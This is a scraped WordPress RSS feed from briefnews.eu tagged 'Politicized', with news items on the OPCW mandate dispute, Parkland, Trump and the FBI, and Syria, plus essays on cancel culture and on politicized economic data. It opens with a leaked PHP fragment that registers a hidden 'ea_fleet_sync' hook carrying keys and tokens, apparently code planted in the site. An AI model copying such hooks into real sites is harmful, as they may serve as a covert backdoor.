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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Politicized – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 27 Jun 2018 01:27:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Politicized – Brief News https://briefnews.eu 32 32 UK plan to turn OPCW into politicized quasi-prosecutorial body will undermine intl security – Russia https://briefnews.eu/uk-plan-to-turn-opcw-into-politicized-quasi-prosecutorial-body-will-undermine-intl-security-russia/ https://briefnews.eu/uk-plan-to-turn-opcw-into-politicized-quasi-prosecutorial-body-will-undermine-intl-security-russia/#respond Wed, 27 Jun 2018 01:27:10 +0000 http://briefnews.eu/uk-plan-to-turn-opcw-into-politicized-quasi-prosecutorial-body-will-undermine-intl-security-russia/ Moscow strongly opposes the UK’s attempts to give chemical watchdog OPCW authority to pin the blame in chemical attack probes, as it may turn the body into a political tool and undermine the entire international security system.

An ongoing special conference of the Organization for the Prohibition of Chemical Weapons (OPCW) in The Hague was called by Britain, which insists that the body should have the power not only to investigate alleged chemical attacks as it does currently, but also to identify the culprit and assign guilt. The draft proposal, swiftly supported by London’s allies, represents “a direct invasion of the exclusive prerogatives of the UN Security Council,” the head of the Russian delegation, Georgy Kalamanov, said in his speech at the conference, adding that it also “undermines the authority of the OPCW and the very integrity of CWC (Chemical Weapons Convention).”

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OPCW headquarters in the Hague © Wilfried Wirth

The Russian representative slammed the attempts by the UK to turn the OPCW from a body focused on “providing technical assistance to member states in executing the requirements of the CWC” into a “quasi-prosecutorial, policing and forensic-medical structure.”

“Such a course is fraught with unpredictable consequences,” Kalamanov warned. “Won’t it lead to a collapse of the global nonproliferation regimes or even the breakdown of the whole international security system, established after World War II with the central role of the UN and its Security Council in international affairs?”

Even under its current mandate, the OPCW at times abuses and violates its own rules, Kalamanov noted, recalling the probes of the chemical incidents in Syria. He reiterated that in many cases they were carried out “remotely” and in violation of the core principle of Chain of Custody and many of the CWC norms, and relied on evidence from biased and unreliable parties, completely ignoring the arguments and data provided by the government in Damascus. Kalamanov also addressed the poisoning of double agent Sergei Skripal earlier this year, which he said was absurdly and “cynically instigated by the UK against Russia,” and in which the OPCW took a back seat and provided no new insight but instead simply agreed with London’s narrative of Moscow’s “highly likely” involvement.

Ahead of a vote planned for Wednesday, Kalamanov urged partners to unite in order to block the “dangerous initiative,” saying that Russia will present its own draft on the OPCW mandate during the conference.

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UK Foreign Secretary Boris Johnson, who arrived in The Hague for the occasion has, meanwhile, called on the member states to refrain from backing the Russian proposal. “I would ask all those present to vote against the other tabled motions which would render the OPCW toothless and undermine the Technical Secretariat and Fact-Finding Mission in Syria,” Johnson said.

The US, France and Germany have already said that they are willing to back the UK in its push. Britain and its Western allies argue that the lack of powers on the part of OPCW has allowed the Syrian government to escape responsibility for chemical attacks against its own citizens, though in many cases no convincing proof that Damascus was behind the claimed atrocities was ever presented.

Meanwhile, the chairman of the OPCW special session, Adbelouahab Bellouki, said on Tuesday that the vote on the UK’s initiative will take place “in 24 hours,” adding that there had been no consensus on the proposal among members.

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  • Students from the Florida high school where a gunman killed 17 people hit back at a popular conservative personality who tweeted politically-charged messages on Twitter.
  • Some students drew upon their experience and called for some sort of change in gun legislation.

Students from the Parkland, Florida high school where a gunman killed 17 people on Wednesday lashed out against a conservative personality who began posting politicized messages on Twitter.

On Wednesday, Tomi Lahren, a popular conservative personality and frequent Fox News contributor, appeared to suggest that shootings similar to the one in Parkland were not “about a gun,” and instead, were attributed to “another lunatic.” She then went on to accuse liberals of pushing an “anti-gun and anti-gunowner agenda.”

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Donald Trump has lashed out at the leadership and investigators at the FBI and the Justice Department, saying that they politicized “the sacred investigative process” in favor of Democrats and against Republicans.

The US president attacked both authorities on Twitter by saying that their political bias is “something which would have been unthinkable just a short time ago.”

Trump’s accusations come just as the White House is expected released a secret memo alleging FBI bias against the US president. On Monday night, the House Intelligence Committee approved the public release of the memo. 

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The Russian Foreign Minister, Sergey Lavrov, and the US Secretary of State, Rex Tillerson, held a phone conversation on Thursday, the ministry reported, saying that situation in Syria was among the major issues discussed. The two senior diplomats talked on joint efforts to annihilate hotbeds of terrorism in Syria, while also stressing the importance of facilitating the political process through dialogue in the war-torn country. Not to add to the existing crisis, investigation of alleged chemical attacks in Syria “must not be politicized,” the Russian minister told his American counterpart. The joint work of experts from the UN and the Organization for the Prohibition of Chemical Weapons (OPCW) should be “brought up to the standards” of the Chemical Weapons Convention, Lavrov said. Officials agreed to carry on dialogue, and discussed schedule for future bilateral contacts, the Russian ministry said in a statement.

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]]> https://briefnews.eu/chemical-probe-in-syria-cant-be-politicized-lavrov-tells-tillerson/feed/ 0 TFW You're Politicized https://briefnews.eu/tfw-youre-politicized/ https://briefnews.eu/tfw-youre-politicized/#respond Sun, 20 Aug 2017 21:10:58 +0000 http://briefnews.eu/tfw-youre-politicized/

The internet is a capricious beast; someone can go from deified to vilified in a matter of minutes. Kim Kardashian and rapper Cardi B, whose single “Bodak Yellow” just made the Billboard Top 10, are the latest examples of how internet-shaming can both inform and disempower, and how the same societal forces that give a celebrity like Kim Kardashian so much influence can cripple black and brown celebrities who commit similar faux pas.

On Aug. 14, Kim Kardashian recorded a Snapchat video admonishing her fans for criticizing makeup artist Jeffree Star, who has gotten in trouble for making racist remarks in the past: “I get [that] it’s a serious deal if you say racial things, but I do believe in people changing, and people that apologize; I will give them the benefit of the doubt and accept that people change and move on.” Her video prompted a quick outcry as black Twitter users chided Kardashian for assuming she had the authority to tell black people what racist comments they should get over. She followed up with an apology video the following day. “I don’t really feel like I have the right to speak on that.” She continued, “I just feel a bit naive, and I do want to really apologize for me feeling like I had the right to say ‘get over it’ in a situation that involves racism.” The apology may have been sincere but it also felt like a quick attempt to save her brand from a full-on marketing crisis in the wake of heightened racial tensions in the US. The situation with Kardashian was in stark contrast with that of Cardi B, another recent victim of public-shaming.

On Aug. 10, Cardi B released one of her now-notorious on-camera monologues on Twitter about her growing stardom: “I just want to say thank you to everybody that has seen me blossom into a butterfly, you know what I’m saying. I went from a roach to a butterfly.” In a tweet thread that has since been deleted, a user who goes by the handle @WokeMutant accused Cardi B of displaying colorism with those remarks, suggesting that Cardi, who is of Afro-Latinx descent, was demonizing black people with darker skin tones by using the term “roach.” Other Twitter users quickly piled on: “Well it’s official Cardi B is cancelled. It was fun while it lasted,” tweeted one user. “Cardi B was/is my girl,” tweeted another user accompanied with the iconic “I was rooting for you!” America’s Next Top Model gif. Some claimed to have always known that Cardi B was problematic: “I told mfs that Cardi B is a colorist transphobic. We been told y’all!” And a number of people were saying she was canceled, or someone who deserves their public platform to be taken away: “Cardi B is a fucking mess. I was rooting for her ass all along. Cancelled!”

Shortly afterward, anti-trans comments Cardi B made in an Instagram video in November 2016 (since deleted), began to resurface. In the video, Cardi narrates how she would get revenge on her partner for cheating by enticing him to participate in a threesome with herself and a trans woman under the pretense that he would be sleeping with two cis women. The video was anti-trans for two reasons: She perpetuated the idea that there is something wrong with sleeping with a trans woman and she used a trans person as a prop for petty, cis-normative revenge that only assists in the dehumanization of trans people. She has since apologized for this video and her usage of the T-word slur.

But the speed with which various folks criticized Cardi B and described her as “canceled” wasn’t just an example of internet whimsy and attendant backlash. The black and brown Twitter avatars coming after Cardi were particularly upset, because these same people placed Cardi B on a sex-positive, pro-black, feminist pedestal — not because of her work or her continued advocacy — but because politicizing pop culture is currently profitable and trendy. This often proves to be dangerous and regrettable. The need to overintellectualize celebrities demeans and transforms them into political props. They become static, flawless icons for political identities and once they prove the limits of their knowledge, or simply show their humanity, we rid ourselves of them — and notably redemption is reserved for only the most powerful (and white) celebrities.

Cardi B’s first claim to fame was as a no-holds-barred truth-teller. In August 2016, Latina magazine featured Cardi as a woman crushing the patriarchy. When asked if she identified as a feminist, she responded, “I think so. I support every type of woman. A lot of people claim they are feminists, but they only support a certain type of woman: only doctors, nurses, career women. I support women getting money, regardless.” A couple of months later, Cardi B graced the cover of Vibe Viva, the Latinx edition of the hip-hop magazine, with the words: “homegirl, gangsta b*tch, and “feminist” plastered under her name. “She may well be a social media mainstay with all the nuts and bolts of a superstar, but the television personality-turned-rapper is the quintessential homegirl from around the way many of us know and love,” wrote reporter Marjua Estevez. “She’s also the self-described stripper hoe that’s all about her shmoney; the intersectional feminist who advises her cypher of girlfriends on how to turn the tables on ain’t sh*t f**k boys; the gangsta b***h who warns detractors not to underestimate her.” However, the description of Cardi as a feminist sparked a backlash among readers, but many publications came to her defense: “Cardi B Just Shut Your Elitist Misconceptions About Feminism The Fuck Down,” argued Paper magazine. “Cardi B is a feminist and y’all can stay mad,” said Madame Noire.

The rush to turn Cardi into a feminist icon continued unabated. Take Shop Blk’s shirt, which came out in early 2017 and has the names Coretta & Cardi B emblazoned in the front. While meant to be tongue-in-cheek, the shirt makes a false equivalency between Cardi and Coretta Scott King. Just because Cardi rails against slut-shaming doesn’t make her a civil rights icon. Juxtapositions like this only make it easier for folks to vilify Cardi when she fails to meet these high standards. And when the person at the center of all that praise fails, like they inevitably do, there is no room for growth or forgiveness — just disposal.

The result is that when these critiques happen, they fall on deaf ears. If the person apologizes, it is not sincere. If they do not apologize, they are horrid people. And if the goal of these social media attacks is to elevate the consciousness of another human being, perhaps it is time we think about adopting a better practice of critique and accountability, if that is truly what we are interested in. Let’s do something that works. There is a difference between what is righteous and what is productive. We can acknowledge that people being offended by an offensive statement is right, but if you are interested in transforming the person that delivered the statement, thousands of people attacking someone in public will rarely get this done. The question is are we interested in performing rage on the internet or creating justice and accountability through real-life pedagogical moments?

In the age of the internet, accountability can’t happen in public. Take musician Azealia Banks, chef The Kitchenista, or the novelist Chimamanda Adichie, for example, or the plethora of other black people, often femme or women, who have been “canceled” by digital lynch mobs and seemingly never able to be redeemed. For critique to be effective it must happen in a space that is promoting growth, not humiliation. But when celebrities are given the opportunity to apologize, tellingly it’s mainly white celebrities who are given the benefit of the doubt. Kim Kardashian’s apology went live Tuesday afternoon and was immediately written up in People and Us Weekly. In some ways, she’s gained even more attention for saying sorry than she did for the original sin.

Celebrity and non-celebrity black women or femmes who fail in public do not have the same access or control over mainstream publications once they mess up, and the scars of their transgressions last longer, making redemption all the more difficult. Azealia Banks has been banned from Twitter for racist remarks, for example, while Twitter still refuses to take reports of harassment from women and people of color seriously. The risk levels are different for black, lesser known celebrities. If Kim Kardashian were to lose her black audience, she would still have a monstrous mega-brand. If Cardi B were to lose her black audience, her career would be effectively over.

If helping Cardi B transcend this problematic moment was the goal, the way we critique her must be examined. It must happen at a pace at which people can hear, not people heralding judgments at a feverish rate. At the speed and amount Cardi B was receiving reactions, there was no way for her to reflect on even the most thoughtful critiques.

The truth is nobody is listening to Cardi B’s “Bodak Yellow” because it is a pro-black, queer, feminist anthem. We are listening to it because it knocks. It is nice when our artists can be our political favorites, but it isn’t necessary to enjoy the work.

We push celebrities (and everyday people with large social media followings) to political pedestals and watch them fall while hiding our hands, failing to acknowledge how complicit we are in their very public failings.

Only once we stop using black people as marketing and branding tools can we begin to engage black people as human — messy, problematic, flawed humans. Cardi B is a hot mess, and the mess belongs to many people. Namely, herself and all the people that positioned her as an icon, instead of the regular shmegular girl she proclaimed and displayed herself to be in the infancy of her public career. And those same people should be running to clean her up and not burn her alive. ●

Myles E. Johnson is a writer and author of children’s book, Large Fears. He cares about all the places pop culture, politics, black feminism, queer theory, and red wine meet.

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]]> https://briefnews.eu/tfw-youre-politicized/feed/ 0 Will GDP and Unemployment Numbers Be Politicized Under Trump? https://briefnews.eu/will-gdp-and-unemployment-numbers-be-politicized-under-trump/ https://briefnews.eu/will-gdp-and-unemployment-numbers-be-politicized-under-trump/#respond Thu, 02 Feb 2017 15:39:08 +0000 http://briefnews.eu/will-gdp-and-unemployment-numbers-be-politicized-under-trump/ On the evening of September 1, 2011, I had the unpleasant task of delivering the confidential August jobs report to President Obama before it would be made public the next day. “I don’t like the look on your face,” I remember the president saying to me in the Oval Office.

“The job number is zero,” I said.

“Zero?” he asked. “What do you mean, ‘zero’?”

“The payroll jobs data is zero,” I replied.

Incredulous, the president asked, “You mean it is exactly zero? Like, if I took that paper out of your hand and looked at it, I would just see a zero?”

“Yes,” I replied with a wince.

“Has that ever happened before?” he asked.

“I don’t think so, sir,” I replied.

This was obviously not happy news. After he’d helped pass a payroll-tax cut and an extension of unemployment benefits near the end of 2010, the economy was projected to grow more than 3 percent in 2011. But after chaotic global events such as the Arab Spring and the Fukushima nuclear meltdown, as well as the self-inflicted wound of the debt-limit crisis, the economy had once again weakened. And politically, the president knew that “zero” would be easy partisan fodder. Sure enough, when the official numbers were released the next morning, it took the Republican National Committee only 94 minutes to coin and publicize the nickname “President Zero.” Commemorative buttons soon followed.

The irony? When the revisions came in two months later, it turned out the economy had actually seen the addition of 107,000 jobs in August 2011—not spectacular, but not the disaster it appeared to us that evening, and to everyone else the following morning. This was hardly an isolated occurrence. In 2010, the job numbers were revised up in 11 out of 12 months, with the more-impressive revisions never getting the attention received by the less-impressive initial announcements, which clearly hurt Obama politically. Yet, however negative or seemingly unfair this trend was, there was one thing neither the president nor anyone on his team would consider doing: attacking the credibility of the workers at the Bureau of Labor Statistics (BLS). The same went for those at other agencies, such as at the Bureau of Economic Analysis, that are responsible for compiling and announcing America’s major economic indicators.

For every administration in the past four decades, any public comment from the president casting doubt on the legitimacy of the government’s jobs, GDP, or health reports would have been unthinkable, for a few reasons. One, it would have been considered unfair to career civil servants to even suggest, with no evidence or proof, that they were tampering with numbers. Two, it would have hurt global confidence in the United States to even imply that anyone in the government was in any way manipulating the government’s economic reports—doing so would risk pushing the U.S.’s reputation toward that of China, whose published economic numbers aren’t widely trusted.

And additionally, every administration since 1974 had been cautious about never again allowing the type of ugly political interference that President Richard Nixon became famous for. Near the end of his first term, Nixon became convinced that the BLS’s assistant commissioner, Harold Goldstein, was not putting enough positive spin on the monthly jobs reports. Livid with Goldstein, Nixon ordered his top aides to “reorganize” BLS, demanding a count of the number of Democrats and Jews in the Bureau. He ended up demoting Goldstein, replacing him with a “politically sensitive, loyal Republican,” as well as appointing a loyalist as the new deputy commissioner overseeing all data analysis. A year later, the president and his top aides also forced the removal of the BLS’s commissioner, Geoffrey Moore, before the end of his term, which came after months of trying to re-assign him to another federal post.

Goldstein and the two more-junior career BLS employees demoted during Nixon’s crusade were Jewish, and the publication of Bob Woodward and Carl Bernstein’s 1976 book The Final Days, as well as the Nixon tapes, made clear that Nixon’s beliefs about and actions toward the BLS were motivated by paranoia and anti-semitism. “There’s a Jewish cabal, you know, running through this,” Nixon was recorded as saying, adding, “Now how the hell do you ever expect us to get anything from that [BLS] staff, the raw data, let alone what the poor guys have to say [inaudible] that isn’t gonna be loaded against us?”

The only positive legacy of this sad history is that it drove home for future administrations the importance of avoiding even the perception of political interference in the collection and production of U.S. economic numbers. In fact, following the Nixon scandal, the Office of Management and Budget issued a number of directives more strictly mandating the separation between releases of technical economic news and statements about politics and policy. Put simply, it would have been considered unthinkable in any of the post-Nixon administrations for anyone in the White House to seek to impede or publicly question the production of economic numbers.

On the eve of the release of the first jobs report during Trump’s presidency, this leads to a pressing question: Will he revive the Nixonian tradition of interfering with federal economic agencies if they announce numbers that do not please him?

Perhaps President Trump, who inherits a strong and stable economy, will be greeted by only positive economic news going forward, and will have routine cause to boast about government economic releases. And perhaps, even if economic numbers come in that do not bolster his message, he will handle it maturely, without berating government officials or trying to subvert the collection and posting of economic data.

However, with regard to the latter possibility, recent events are not encouraging. First, Trump has shown an almost compulsive unwillingness to accept any number that does not align with a combination of his self-image and gut instinct. His insistence that the crowd at his inauguration (which was estimated to number 160,000 to 250,000) was larger than that at Barack Obama’s (1.8 million)—or even the 450,000 to 500,000 who showed up for the Women’s March the next day—is the latest and most disturbing example of this behavior. It is not hard to imagine Trump refusing to accept a weak manufacturing jobs report because it contradicts his gut view that his bully-pulpit efforts to encourage domestic car production are working. Similarly, if GDP doesn’t reach his promised 4 percent growth per year, will he simply dismiss the validity of such numbers?

Second, President Trump seems not to care much for the norms dictating that presidents shouldn’t berate everyday citizens or castigate career government officials. Recent events—including the president’s personal attack on the local union head for the air-conditioning company Carrier and his phone call to the National Park Service’s acting director pressuring him to find proof that the crowd at the inauguration was larger than their photos implied—suggest a president who is not beyond intimidating anyone who does not provide him with what he wants. Similarly, in 2013, he tweeted, with no proof, that “census workers cooked the job numbers for Obama right before the election.” ‪It is not encouraging that Trump has already imposed a ban that prevents career government officials and scientists at the Environmental Protection Agency and the Department of Agriculture from speaking to reporters or posting on social media about their work.

Third, Trump has already made a habit of trying to delegitimize the Bureau of Labor Statistics. He has made absurd economic statements, as when he argued that the “real” unemployment rate is 42 percent (at the time, it was actually 5.1 percent). More generally, he has called the BLS’s employment numbers “total fiction,” “one of the biggest hoaxes in modern American politics,” and “phony.” During a recent media briefing, his press secretary refused to answer when he was asked to simply state the unemployment rate.

While it’s very unlikely that any president could succeed in getting BLS or the Census Bureau or the Centers for Medicare and Medicaid Services to actually juice up their numbers, there is certainly reason to worry that Trump, like Nixon, might bring about the demotion of officials whom he feels are not on his team and replace them with political loyalists, which itself would cast doubt on the objectivity of published statistics. Even more likely is the possibility that he would undermine the credibility of these agencies by publicly attacking their officials or telling the public to ignore their statistical findings.

Another troubling outcome would be if he sought to defund economic agencies already low on resources, or called for ending surveys in areas he didn’t think would play well to his agenda. For example, if Trump comes to fear that his eventual replacement for Obamacare will not meet his commitment to lower costs, lower deductibles, and lower premiums without hurting coverage, will he seek to simply terminate any health-care surveys that would reveal its shortcomings?

As the first few jobs reports come out, Trump will likely have no qualms about blaming Obama should they turn out to be poor, just as he would probably not hesitate to take credit for any positive numbers coming out early on in his tenure. But as later jobs reports (and any other future government findings that could displease him) are published, it will fall to Trump’s advisors and to Republican Congressional economic leaders to warn him not to politicize official economic data. If they can’t—or worse, won’t even try to—convince him, his attacks will damage global confidence in the American economy and public confidence in the rule of law.


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